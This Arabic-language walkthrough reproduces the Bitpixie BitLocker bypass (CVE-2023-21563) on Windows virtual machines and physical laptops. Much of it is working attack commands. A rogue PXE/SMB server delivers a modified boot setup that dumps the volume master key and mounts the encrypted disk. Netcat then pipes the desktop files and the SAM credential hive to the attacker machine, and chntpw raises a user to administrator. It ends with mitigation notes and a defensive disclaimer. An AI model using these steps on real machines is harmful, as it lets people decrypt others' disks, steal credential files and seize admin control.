
اختراق تشفير BitLocker بناءً على ثغرة CVE-2023-21563
إعادة الإنتاج على آلة افتراضية. يستخدم الجهاز المحلي (المهاجم) نظام Ubuntu 22.04.5 LTS، والجهاز الضحية هما Windows 10 21H2 19041.1 و Windows 11 21H2 22000.318، وكلاهما ممكّن للتشفير بـ BitLocker. يتم استخدام QEMU كمدير للآلات الافتراضية، و virt-manager للإدارة. هنا أستخدم الآلة الافتراضية Windows 11 للعمل.
ملفات إعادة الإنتاج الخاصة بي مأخوذة من مستودع Syss على GitHub، وقد قمت بتعديل إصدارات الأدوات ومعالجة بعض الحالات الاستثنائية بناءً عليها. يمكن تنزيلها واستخدامها مباشرة، أو تعديلها حسب الحاجة. ملفات صور الآلة الافتراضية مأخوذة من UUP Dump، الذي يوفر تحميل إصدارات Windows المختلفة. بعد التحميل، يتم تنفيذ ملف cmd أو sh للحصول على ملف ISO.
لن يتم شرح تثبيت واستخدام QEMU و virt-manager هنا. ومع ذلك، بالنسبة للمستخدمين الجدد، في virt-manager، قم بتفعيل تحرير XML عبر "Edit -> Preferences -> General -> Enable XML editing" لتمكين تحرير ملفات تكوين XML للآلة الافتراضية.
عند إنشاء الآلة الافتراضية، اختر "Local install media (ISO image or CDROM)" وحدد ملف ISO الخاص بنظام Windows 11 الذي تم تنزيله. قم بتخصيص الموارد المناسبة (CPU، الذاكرة، مساحة القرص، إلخ)، وتأكد من اختيار "Customize configuration before install" قبل التثبيت، حتى نتمكن من تحرير ملف التكوين قبل التثبيت. هنا، قد يكون هناك مشكلة في التعرف على النظام تلقائيًا، في هذه الحالة يمكننا تحديد "Microsoft Windows 10/11" يدويًا.
الآن نبدأ في التهيئة. الشيء الأكثر أهمية (لأنه لا يمكن تغييره لاحقًا، بينما يمكن تعديل البقية بعد الإنشاء): في علامة التبويب Overview، اختر Firmware كـ "UEFI x86_64: /usr/share/OVMF/OVMF_CODE_4M.ms.fd". إذا لم يتم تحديد هذا، فاحذف الآلة الافتراضية وأعد إنشائها، فهذا ليس بالأمر الصعب.

ثم انتقل إلى علامة التبويب "Boot Options"، وتأكد من تحديد "SATA CDROM 1"، وإلا فلن نتمكن من تثبيت النظام. يمكنك نقل "SATA CDROM 1" إلى أعلى القائمة لجعل الإقلاع أسهل. في هذه المرحلة، يمكنك إنشاء الآلة الافتراضية مباشرة. بعد تثبيت النظام، سنقوم بإجراء التعديلات المتبقية على التهيئة.
هل ترى "Press any key to boot from CD or DVD..."؟ اضغط أي مفتاح للدخول إلى واجهة التثبيت، واتبع التعليمات لإكمال التثبيت. إذا وصلت إلى الصفحة التالية عن طريق الخطأ، فلا داعي للذعر. اختر "Boot Manager" ثم حدد "UEFI: QEMU DVD-ROM" للعودة إلى الواجهة الأصلية واضغط أي مفتاح للإقلاع.

الآن قم بتثبيت النظام. حدد "ليس لدي مفتاح منتج" وقم بتثبيت الإصدار Pro. بعد ذلك، ستكون هناك خطوات تسجيل حساب وما شابه ذلك. يُنصح باختيار "الإعداد دون اتصال" لتجنب المتاعب. إذا لم يكن هذا الخيار متاحًا، استخدم Shift + F10 لفتح موجه الأوامر، واكتب OOBE\BYPASSNRO لتفعيل خيار إنشاء حساب دون اتصال.
بعد الدخول العادي، يمكنك كتابة msinfo32 في المحطة الطرفية لعرض معلومات النظام (تحقق مما إذا كان الجهاز المادي يستخدم UEFI)، ثم قم بإيقاف التشغيل وتعديل التهيئة:
<rom enabled="no"/> في XML لتمكين الإقلاع عبر الشبكة. فيما يلي مثال:<interface type="network">
<mac address="52:54:00:2f:53:4e"/>
<source network="default"/>
<model type="virtio"/>
<boot order="2"/>
<rom enabled="no"/>
<address type="pci" domain="0x0000" bus="0x01" slot="0x00" function="0x0"/>
</interface>
استخدام تكوين شبكة virtio يستفيد من خاصية "شبه الافتراضية" للأجهزة الشبكية، والتي تتصل مباشرة بالمضيف. في نفس الوقت، إيقاف تشغيل ROM الإقلاع الشبكي يسمح للبرنامج الثابت UEFI بالتواصل مع بطاقة شبكة virtio عبر بروتوكول PXE المدمج، مما يمنع التداخل غير الضروري أثناء عملية الإقلاع، ويضمن أننا نتمكن من الدخول إلى النظام بسلاسة وإجراء التهيئة والاختبارات اللاحقة.
ادخل إلى الآلة الافتراضية، وقم بتثبيت برنامج تشغيل virtio من محرك الأقراص المضغوطة. سيقوم النظام تلقائيًا بإعداد الإعدادات. يمكنك اختبار ما إذا كانت الشبكة تعمل بشكل طبيعي. ثم قم بتشفير BitLocker. يمكنك إنشاء ملف flag على سطح المكتب للتحقق لاحقًا.
إذا كنت تستخدم جهازًا ماديًا لإعادة الإنتاج، فستحتاج فقط إلى توصيل الجهاز المهاجم والجهاز الضحية بكابل شبكة، دون الحاجة إلى تكوين virtio. باقي التهيئة متطابقة إلى حد كبير. الشيء الوحيد الذي يجب الانتباه إليه هو أن الجهاز المادي قد يحتوي على واجهات شبكة متعددة، لذا يجب اختيار الواجهة الصحيحة للتكوين.
اكتملت تهيئة الجهاز الضحية. ثم قم بإيقاف التشغيل مباشرة. الآن يمكننا متابعة الخطوات المحددة في مبدأ استغلال الثغرة لتنفيذ الاستغلال.
نقدم هنا مخططًا مرجعيًا لعملية الهجوم الكاملة. يمكنك إلقاء نظرة عامة على العملية أولاً، وسنقوم بتنفيذها خطوة بخطوة لاحقًا:

يجب تثبيت الحزم التالية على الجهاز المحلي (المهاجم):
على Ubuntu أو Debian، يمكن تثبيتها باستخدام الأمر التالي:
sudo apt install dnsmasq libwin-hivex-perl python3-impacket
في الملفات المقدمة في المشروع، قم بتنفيذ ملف build.sh لإنشاء bitpixie-initramfs. إذا كنت تريد تعديله ليتناسب مع البيئة المحلية، يمكنك تعديل build.sh لتكوين الأدوات وإصدارات الملفات التي تريدها، ثم قم بتنفيذه مرة أخرى لإنشاء bitpixie-initramfs.
ثم، في المحطة الطرفية، اكتب ifconfig لاستعلام البوابة الافتراضية للجهاز المحلي (المهاجم). أدناه مثال لجهازي:
virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.123.1 netmask 255.255.255.0 broadcast 192.168.123.255
ether 52:54:00:23:11:39 txqueuelen 1000 (Ethernet)
RX packets 46749 bytes 4384179 (4.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 67170 bytes 414459630 (414.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
استخدم الأوامر التالية لبدء خادم TFTP المستخدم في عملية الإقلاع PXE وخادم SMB المستخدم لنقل البرنامج النصي لتعديل ملف BCD. أدخل ما استعلمنا عنه للتو، وهو virbr0 في حالتي.
# Start the TFTP and the DHCP server
./start-server.sh pxe <interface>
# Start the SMB server for the transfer of the BCD file
./start-server.sh smb <interface>
المشكلة الرئيسية هي أن أمر bcdedit لا يمكن تشغيله إلا كمسؤول محلي. ومع ذلك، نظرًا لأن ملف BCD موجود على قسم EFI غير المشفر لمحرك الأقراص، فهناك عدة طرق لاستخراجه. إحدى الطرق هي إزالة القرص الصلب فعليًا واستخراج ملف BCD على نظام آخر. لكن الطريقة الأسهل والأقل تدخلاً هي الإقلاع إلى خيارات بدء التشغيل المتقدمة. في معظم الأنظمة، يمكن القيام بذلك عبر Shift + إعادة التشغيل. حتى على شاشة تسجيل الدخول، تعمل هذه الطريقة. الآن يمكننا الوصول إلى موجه الأوامر تحت "استكشاف الأخطاء وإصلاحها -> الخيارات المتقدمة -> موجه الأوامر". خلال هذه العملية، من المحتمل ظهور شاشة استرداد BitLocker، ويمكن تخطيها باستخدام زر "تخطي محرك الأقراص هذا".
الآن، في المحطة الطرفية، اكتب أولاً ipconfig للتحقق من حالة الشبكة. إذا ظهر عنوان IP كـ 10.13.37.xxx، يمكنك تخطي الخطوات التالية. إذا لم يظهر، فستحتاج إلى تكوين الشبكة يدويًا. أولاً، تحقق من المسار الصحيح، وحدد محرك الأقراص وإصدار الآلة الافتراضية:
dir D:\NetKVM\w11\amd64
dir E:\NetKVM\w11\amd64
ثم، بناءً على النتيجة، أدخل الأوامر التالية لتكوين الشبكة:
drvload D:\viostor\w11\amd64\viostor.inf
drvload D:\NetKVM\w11\amd64\netkvm.inf
ipconfig

بعد ظهور عنوان IP، يمكننا نقل ملف BCD عبر SMB. أدخل الأوامر التالية لنقل ملف BCD المعدل مباشرة إلى جهاز المهاجم، مما يسمح ببدء هجوم bitpixie الفعلي:
wpeutil initializenetwork
net use S: \\10.13.37.100\smb
cd %TEMP%
copy S:\create-bcd.bat .
.\create-bcd.bat

بعد ذلك، نعود إلى الصفحة، ومن خلال "استخدام جهاز -> PXE Boot" نقوم بالإقلاع إلى أداة تحميل التشغيل المعدلة، ونحمّل ملف BCD المعدّل، ونفك تشفير القرص، ويفشل النواة في التحميل، وينفّذ pxesoftreboot. إذا لم يتم العثور على PXE Boot، يمكنك الخروج والتحقق من تكوين الآلة الافتراضية: هل تم تحديد خيار NIC في "Boot Options"؟ نظرًا لأننا نتحكم في خادم PXE، يمكننا الدخول إلى نظام Debian الذي أعددناه مسبقًا.
ثم، أدخل root واكتب su، ثم قم بتنفيذ البرنامج النصي على القسم:
run-exploit /dev/sda3

إذا سارت الأمور بشكل جيد، فسيتم عرض بيانات VMK المطابقة مباشرة، وسنرى ملف vmk.dat في الدليل الحالي. هذا هو ملف VMK الذي استخرجناه من الذاكرة. سيتم تحميل محتويات القرص المشفر إلى دليل /mnt، ويمكننا الدخول مباشرة لعرض ملف flag الذي تم إنشاؤه سابقًا.

لقد نجحنا في استغلال ثغرة Bitpixie، واستخراج ملف VMK لقرص BitLocker المشفر، والوصول إلى محتويات القرص المشفر.
بالطبع، قد تحدث بعض المشكلات، مثل عدم العثور على ملف VMK. في هذه الحالة، يُنصح بإعادة المحاولة مرة أخرى، لأن VMK قد لا يكون محفوظًا بشكل صحيح في الذاكرة، أو لم يتم مسحه بشكل صحيح، أو قد يكون بسبب عدم تطابق إصدار BCD. حالة أخرى هي العثور على ملف VMK ولكن لا يمكن تحميل القرص المشفر، وقد يكون ذلك بسبب أن ملف VMK غير مكتمل أو تالف. تأكد من وجود المعرف الصحيح 03 20 01 00. يمكنك محاولة إعادة استخراج ملف VMK مرة أخرى، أو التحقق مما إذا كانت الأداة المستخدمة تدعم إصدار BitLocker للنظام الحالي (إصدار dislcker ثابت على إصدار قديم مستقر، يمكن تنزيل إصدار جديد).
لقد وصلنا الآن إلى الملفات التي نحتاجها، لكننا لم نستخرج الملفات الأصلية من الكمبيوتر بعد. هنا يمكننا نقل البيانات المطلوبة مباشرة عبر الشبكة إلى الجهاز المهاجم. أقترح نقل الملفات المفيدة فقط، دون الحاجة إلى ملفات النظام. سأأخذ ملف flag من سطح المكتب وملف SAM من النظام كمثال.
لنقل الملفات الصغيرة، افتح منفذ اتصال على الجهاز المهاجم:
nc -lvp 4444 > flag.txt
nc -lvp 4445 -q 1 > SAM
على الجهاز الضحية، أدخل الأوامر التالية لنقل الملفات إلى الجهاز المهاجم:
dd if=/mnt/Users/Dorange/Desktop/flag.txt | nc <IP> 4444
dd if=/mnt/Windows/System32/config/SAM | nc <IP> 4445
إذا كنت تريد نقل مجلد، فقم بضغطه أولاً، ثم قم بنقله:
tar -czvf important_files.tar.gz /mnt/Users/Dorange/Desktop/important_files
nc -lvp 4446 > important_files.tar.gz
dd if=important_files.tar.gz | nc <IP> 4446
على الرغم من أننا حصلنا على صلاحية الوصول إلى القرص المشفر، إلا أننا لم نتحكم بشكل كامل في كمبيوتر الضحية. في هذه المرحلة، يمكننا استخدام أداة chntpw لتعديل كلمات مرور حسابات المستخدمين في النظام، وبالتالي الحصول على صلاحيات المسؤول. بالطبع، أوصي بإنشاء مستخدم بصلاحيات منخفضة ثم رفع صلاحيته إلى مسؤول، فهذا أكثر استقرارًا.
هنا سأرفع صلاحيات مستخدم منخفض الصلاحيات Dorange إلى مسؤول. أولاً، نحتاج إلى استخدام chntpw لتعديل صلاحيات حساب المستخدم. فيما يلي مثال للأمر:
chntpw -u Dorange /mnt/Windows/System32/config/SAM
يمكنك أيضًا الدخول أولاً وعرض المستخدمين المتاحين:
chntpw - /mnt/Windows/System32/config/SAM

ثم اتبع الإرشادات لتعديل الصلاحيات. يمكنك اختيار تعديل الصلاحيات مباشرة، أو إضافة المستخدم إلى مجموعة المسؤولين. الأمر لا يختلف كثيرًا. أوصي بإضافته إلى مجموعة المسؤولين مباشرة، فهذا أكثر استقرارًا. بعد التعديل، يمكنك استخدام الأمر chntpw -i SAM لعرض الصلاحيات.

ملاحظة: يجب إلغاء تحميل قسم BitLocker لضمان كتابة جميع التغييرات على القرص قبل إعادة تشغيل النظام. أخيرًا، تحقق من نجاح التعديل عن طريق كتابة net localgroup Administrators في المحطة الطرفية لعرض أعضاء مجموعة المسؤولين، ومعرفة ما إذا كان المستخدم Dorange الذي أضفناه موجودًا.

لقد نجحنا الآن في تنفيذ اختراق BitLocker على الآلة الافتراضية باستخدام ثغرة CVE-2023-21563، واستخرجنا ملف VMK، وتمكنا من الوصول إلى محتويات القرص المشفر وتصدير الملفات المهمة، بالإضافة إلى رفع صلاحية مستخدم منخفض الصلاحيات إلى مسؤول.
تكوين الجهاز المادي ليس سهلاً مثل الآلة الافتراضية. بشكل أساسي، يمكن استخدام الآلة الافتراضية مباشرة وفقًا للخطوات السابقة، ولا تتطلب الكثير من المتطلبات من الأجهزة. أما الجهاز المادي فيحتاج إلى فحص تكوين الأجهزة خطوة بخطوة. لاحظ أن معظم أجهزة الكمبيوتر تأتي افتراضيًا مع الإصدار Home، ولكن يبدو أن الإصدار Pro فقط هو الذي يدعم ميزة BitLocker، لذلك قد يحتاج الجهاز المادي إلى ترقية.
في تجارب فريقنا، وجدنا أن الإصدار الجديد من Windows 25H2 يكاد يكون من المستحيل تنفيذه. أولاً، عند الدخول إلى موجه الأوامر في الخيارات المتقدمة، لا يمكن تخطي إدخال مفتاح استرداد BitLocker. حتى لو تمكنت من الدخول، عند إجراء إعادة التشغيل الناعم PXE، يجب إدخال مفتاح استرداد BitLocker لاستخدام أداة التحميل.
متطلبات الأجهزة الأولية للجهاز المادي مرتفعة نسبيًا أيضًا. بعض أجهزة الكمبيوتر المحمولة النحيفة وأجهزة الألعاب القديمة لا تدعم الإقلاع PXE. هنا مثال على كمبيوتر محمول من Xiaomi لا يدعم الإقلاع الشبكي (عادةً، إذا كان مدعومًا، سيكون هناك خيار Network Boot):

وبالنسبة للعلامات التجارية المحلية الشائعة مثل أجهزة Asus المحمولة، وجدنا أنه حتى مع إصدار Windows الأقدم، قد يظل الجهاز يتعطل بعد فشل الإقلاع PXE أثناء عملية تحميل النواة (نشتبه في أن الشركة المصنعة تفرض بعض القيود على الأجهزة).
أولاً، تحتاج إلى التحقق مما إذا كان الجهاز الضحية يدعم الإقلاع UEFI. يمكن القيام بذلك عن طريق كتابة msinfo32 في Windows لعرض معلومات النظام. إذا رأيت "وضع BIOS" كـ "UEFI" في ملخص النظام، فهذا يعني أنه يدعم الإقلاع UEFI.
الأهم من ذلك هو التحقق مما إذا كان الجهاز المادي قد تم تثبيت التصحيح عليه بالفعل. في المحطة الطرفية للمسؤول، اكتب Get-HotFix لعرض حالة تصحيحات النظام. إذا تم تثبيت KB5025885 أو تصحيحات أحدث، فلن تتمكن من استغلال هذه الثغرة. في نفس الوقت، تحقق مما إذا كانت الشهادة لا تزال قديمة (سمعت أن Microsoft أصدرت شهادة جديدة في 2026، لا أعرف إذا كان هذا صحيحًا).
Get-HotFix -Id KB5025885
certutil -store root | findstr "Microsoft Windows Production PCA 2011"

بخصوص تكوين TPM، في Windows، ابحث عن "إدارة الأجهزة"، وادخل إلى "أجهزة الأمان" وتحقق من وجود جهاز TPM وأن إصداره هو 2.0. إذا لم يكن موجودًا، فستحتاج إلى تمكين TPM في BIOS. ثم، في المحطة الطرفية للمسؤول، اكتب manage-bde -protectors -get C: لعرض حالة تشفير BitLocker. إذا وجدت أن PCR لـ TPM ليس 7 و 11، فستحتاج إلى التعديل يدويًا (يبدو أن الإعدادات الافتراضية الشائعة هي 0, 2, 4, 11).
أولاً، اضغط "Win + R" واكتب gpedit.msc لفتح محرر نهج المجموعة المحلي. اتبع المسار "تكوين الكمبيوتر -> القوالب الإدارية -> مكونات Windows -> تشفير محرك BitLocker -> محرك نظام التشغيل". ابحث عن الخيار "تكوين ملف تعريف التحقق من منصة TPM للبرنامج الثابت المحلي UEFI"، وادخل إليه، واضبطه على "ممكّن"، وفي الخيارات، حدد "PCR 7 و 11". ثم قم بتأكيد الخروج.

ثم، ارجع إلى المحطة الطرفية للمسؤول، واحذف أداة حماية TPM القديمة أولاً، ثم أعد إضافة أداة حماية TPM جديدة. بهذه الطريقة، سيتم تكوينها وفقًا لـ PCR 7 و 11 التي قمنا بتعيينها مسبقًا. لاحظ أننا نعلم أن ملفات التمهيد الخاصة بنا قديمة وقد تم تعديلها، لذلك يجب ألا يحتوي PCR على 4، وإلا فلن يكتمل الهجوم:
manage-bde -protectors -get C:
manage-bde -protectors -delete C: -type tpm
manage-bde -protectors -add C: -tpm
manage-bde -protectors -get C:

قد لا يكون جهاز الكمبيوتر المادي قد مكّن الإقلاع PXE عبر IPv4 افتراضيًا، لذلك تحتاج إلى الدخول إلى BIOS وتمكينه. يمكنك البحث عن اختصار الدخول إلى BIOS عبر الإنترنت (يختلف حسب الجهاز، لن أشرح هنا). بدلاً من ذلك، يمكنك استخدام "Shift + إعادة التشغيل" ثم التنقل إلى "استكشاف الأخطاء وإصلاحها -> الخيارات المتقدمة -> إعدادات البرنامج الثابت UEFI" لإعادة التشغيل إلى BIOS. في جهازي المادي، في علامة التبويب Advanced في BIOS، يوجد Advanced\Network Stack Configuration. قم بتمكين Network Stack و Ipv4 PXE Support.

الآن، قم بتكوين الاتصال الشبكي المادي. يتطلب ذلك توصيل الجهاز المهاجم والجهاز الضحية بكابل شبكة. على الجهاز المهاجم، قم بتشغيل خادم DHCP لتخصيص عنوان IP للجهاز الضحية (يمكن تخصيصه يدويًا). قم بتشغيل خادم DHCP مسبقًا على الجهاز المهاجم:
./start-server.sh smb <interface>
./start-server.sh pxe <interface>
بعد ذلك، حاول اختبار اتصال عنوان IP للجهاز الضحية باستخدام ping للتحقق من حالة الشبكة. إذا لم ينجح، تحقق من تكوين الشبكة:
brctl show virbr0
تحقق مما إذا كان عنصر interfaces فارغًا. إذا كان كذلك، فستحتاج إلى إضافة الواجهة الفعلية يدويًا. أولاً، تحقق ثم أضف (يجب التمييز بنفسك):
ip link show
sudo brctl addif virbr0 <interface>
brctl show virbr0

عند التحقق من عنصر interfaces مرة أخرى، يجب أن ترى الواجهة الفعلية التي أضفناها. الآن يمكنك محاولة اختبار اتصال عنوان IP للجهاز الضحية. يمكنك الحصول على عنوان IP للجهاز الضحية عن طريق كتابة ipconfig على الجهاز الضحية. إذا لم ينجح الاتصال، تحقق من تكوين الشبكة وتأكد من أن الجهاز المهاجم والجهاز الضحية في نفس الشبكة.
إذا كان الجهاز الضحية يمكنه اختبار اتصال الجهاز المهاجم ولكن الجهاز المهاجم لا يمكنه اختبار اتصال الجهاز الضحية، فتحقق من إعدادات جدار الحماية على الجهاز الضحية وتأكد من السماح بحركة المرور من الجهاز المهاجم. يمكنك إيقاف تشغيل جدار الحماية مؤقتًا:
netsh advfirewall set allprofiles state off
بالطبع، لضمان عدم حظر حركة المرور من شبكة 10.13.37.0/24، قم بتنفيذ هذين الأمرين على الجهاز المهاجم (في الواقع، عادة ما يعمل الاتصال بشكل طبيعي بدون ذلك):
sudo iptables -I LIBVIRT_FWI 1 -s 10.13.37.0/24 -j ACCEPT
sudo iptables -I LIBVIRT_FWO 1 -d 10.13.37.0/24 -j ACCEPT
ولكن في الواقع، عند الدخول إلى موجه الأوامر في الإقلاع المتقدم، غالبًا لا تتم عملية الاتصال بالشبكة تلقائيًا، كما حدث مع تكوين الآلة الافتراضية. نحتاج إلى تكوين برنامج التشغيل يدويًا. بالطبع، ليس سهلاً كما في الآلة الافتراضية. أولاً، قم بإعداد ملفات برنامج التشغيل على قرص USB، ثم قم بتحميل برنامج التشغيل على الجهاز الضحية وتكوين الشبكة. هذه الخطوة بسيطة ومتشابهة تقريبًا مع الخطوات السابقة، لذا لن أشرحها بالتفصيل. الخطوات التالية مماثلة لخطوات الآلة الافتراضية السابقة، اتبع الخطوات السابقة مباشرة للحصول على ملف BCD الذي نحتاجه.
بالطبع، يمكننا أيضًا استخراج ملف BCD مباشرة من آلة افتراضية تعمل بنفس نظام الجهاز المادي. بهذه الطريقة، لا نحتاج إلى تكوين الشبكة على الجهاز المادي. يمكننا استخراجه على الآلة الافتراضية ثم نقله إلى الجهاز المهاجم عبر SMB. هذا أسهل وأسرع، ولكن هذه الطريقة تحمل خطر عدم تطابق إصدار BCD مما قد يؤدي إلى عدم العثور على ملف VMK لاحقًا.
بعد ذلك، ندخل إلى PXE Boot، ولا توجد اختلافات في العمليات اللاحقة. ولكن نظرًا لعدم دعم الأجهزة، قد يحدث فشل في الإقلاع مما يؤدي إلى تعطل النظام أو الدخول بنجاح ولكن دون الحصول على ملف VMK. لذلك، عند إعادة الإنتاج على جهاز مادي، قد يكون معدل النجاح منخفضًا جدًا بسبب مشكلات البرامج والأجهزة المختلفة. ربما يكون هذا أحد الأسباب التي تجعل هذه الثغرة تبدو خطيرة ولكنها لم تستغل على نطاق واسع ولم يتم إصلاحها بشكل كامل.
تظهر هذه المقالة أن المصادقة قبل التمهيد تمنع المهاجمين غير المصرح لهم من الوصول إلى محتويات القرص الصلب المشفر. ومع ذلك، لا تمنع المصادقة قبل التمهيد المهاجم الداخلي الخبيث الذي يمتلك رمز PIN صحيحًا لـ BitLocker من الحصول على صلاحيات الوصول الإداري المحلي على الجهاز، أو تعطيل برنامج مكافحة الفيروسات، أو استخراج بيانات الاعتماد المخزنة مؤقتًا. هذا مهم بشكل خاص للأنظمة المشتركة، حيث يسمح للمهاجم بالوصول المباشر إلى بيانات المستخدمين الآخرين على نفس النظام.
أحد التدابير الفعالة لمنع هجمات التخفيض هو تغيير PCR التي يتم فحصها عند فتح TPM. لاستغلال ثغرة مدير التمهيد CVE-2024-38058، أضافت Microsoft PCR 4 إلى عملية قياس التمهيد. يحتوي هذا السجل على قيمة تجزئة كود مدير التمهيد وجميع محاولات التمهيد. حاليًا، بعض أجهزة الكمبيوتر لديها قيم PCR افتراضية 0، 2، 4، 11.
يتم توقيع مدير التمهيد المستغل في هجوم التخفيض بواسطة Microsoft Windows Production PCA 2011. صلاحية هذه الشهادة هي 15 عامًا، مما يعني أنها ستنتهي في يونيو 2026. ستواجه Microsoft UEFI CA 2011 (التي تستخدم لتوقيع مديري التمهيد من جهات خارجية) و Microsoft Corporation KEK CA 2011 (المسؤولة عن إدارة قاعدة البيانات ومحتوى DBX) مصيرًا مشابهًا. لذلك، قامت Microsoft بتسجيل مجموعة جديدة من الشهادات الجذرية في عام 2023؛ وسيتم استخدام Windows UEFI CA 2023 الجديد عند توقيع مدير التمهيد لنظام Windows. حاليًا، لم يتم تسجيل سلطة الشهادة هذه تلقائيًا بعد، ولكن يمكن إكمالها يدويًا عن طريق تطبيق التصحيح KB5025885. يضيف هذا التصحيح CA الجديد إلى قاعدة البيانات، ويقوم بتثبيت مدير تمهيد موقع بواسطة CA 2023، ويلغي صلاحية CA 2011 عن طريق إضافتها إلى قاعدة بيانات DBX.
إذا كان هذا مفيدًا لك، فيرجى منح نجمة لمشروع GitHub !!!

إخلاء المسؤولية: جميع مقالاتي هي لمشاركة المعرفة التقنية فقط، ومسجلة لأغراض دفاعية، ويتم تنفيذ جميع العمليات في بيئة تجريبية. لا تستخدمها لأغراض أخرى، وإلا ستتحمل العواقب بنفسك.